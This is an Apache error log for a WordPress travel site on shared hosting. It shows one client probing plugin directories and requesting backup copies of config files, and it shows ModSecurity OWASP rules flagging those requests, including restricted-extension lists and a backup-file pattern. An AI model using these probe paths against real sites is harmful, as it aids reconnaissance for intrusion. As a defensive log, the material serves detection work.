[Fri Jul 17 08:55:20.101515 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.109368 2026] [authz_core:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/really-simple-ssl
[Fri Jul 17 08:55:20.109420 2026] [authz_core:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/advanced-custom-fields
[Fri Jul 17 08:55:20.109559 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.109559 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.113993 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/custom-fields-suite
[Fri Jul 17 08:55:20.114172 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.117970 2026] [authz_core:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/the-events-calendar
[Fri Jul 17 08:55:20.118166 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.118306 2026] [authz_core:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/loginizer
[Fri Jul 17 08:55:20.118460 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.119550 2026] [authz_core:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/wpvivid-backuprestore
[Fri Jul 17 08:55:20.120732 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.122108 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/ninja-forms
[Fri Jul 17 08:55:20.122213 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.123436 2026] [authz_core:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/redirection
[Fri Jul 17 08:55:20.123570 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.123659 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.119696 2026] [authz_core:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/popup-builder
[Fri Jul 17 08:55:20.120504 2026] [authz_core:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/gravitysmtp
[Fri Jul 17 08:55:20.120534 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/gravity-forms
[Fri Jul 17 08:55:20.125251 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.125271 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.125365 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.131325 2026] [authz_core:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/formidable
[Fri Jul 17 08:55:20.131696 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.137682 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.138454 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.js.backup"] [unique_id "almgoA5GPQ6hs4VrfMpBiwAAAAY"]
[Fri Jul 17 08:55:20.139178 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.js.backup"] [unique_id "almgoA5GPQ6hs4VrfMpBiwAAAAY"]
[Fri Jul 17 08:55:20.139349 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.139522 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBiwAAAAY"]
[Fri Jul 17 08:55:20.140185 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.js.swp"] [unique_id "almgoIl9vhFBGA6D8l96FAAAAAw"]
[Fri Jul 17 08:55:20.141058 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.js.swp"] [unique_id "almgoIl9vhFBGA6D8l96FAAAAAw"]
[Fri Jul 17 08:55:20.141319 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.141585 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIl9vhFBGA6D8l96FAAAAAw"]
[Fri Jul 17 08:55:20.149407 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.154304 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.161456 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.json.bak"] [unique_id "almgoLoj0IkvhSCYadmBtQAAAAQ"]
[Fri Jul 17 08:55:20.162117 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.json.swp"] [unique_id "almgoCvekYYQ8uns4MwlbgAAAA0"]
[Fri Jul 17 08:55:20.162841 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.json.swp"] [unique_id "almgoCvekYYQ8uns4MwlbgAAAA0"]
[Fri Jul 17 08:55:20.162989 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.163172 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoCvekYYQ8uns4MwlbgAAAA0"]
[Fri Jul 17 08:55:20.163427 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".json~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.json~"] [unique_id "almgoIZvbo7N5o5zeYC-eQAAABw"]
[Fri Jul 17 08:55:20.166253 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.166872 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.168947 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.json.old"] [unique_id "almgoIbYoYGvYnmnM82CNAAAAAs"]
[Fri Jul 17 08:55:20.169743 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.json.old"] [unique_id "almgoIbYoYGvYnmnM82CNAAAAAs"]
[Fri Jul 17 08:55:20.169853 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.169886 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.172323 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.172777 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.json.backup"] [unique_id "almgoA5GPQ6hs4VrfMpBjQAAAAY"]
[Fri Jul 17 08:55:20.173471 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.json.backup"] [unique_id "almgoA5GPQ6hs4VrfMpBjQAAAAY"]
[Fri Jul 17 08:55:20.173585 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
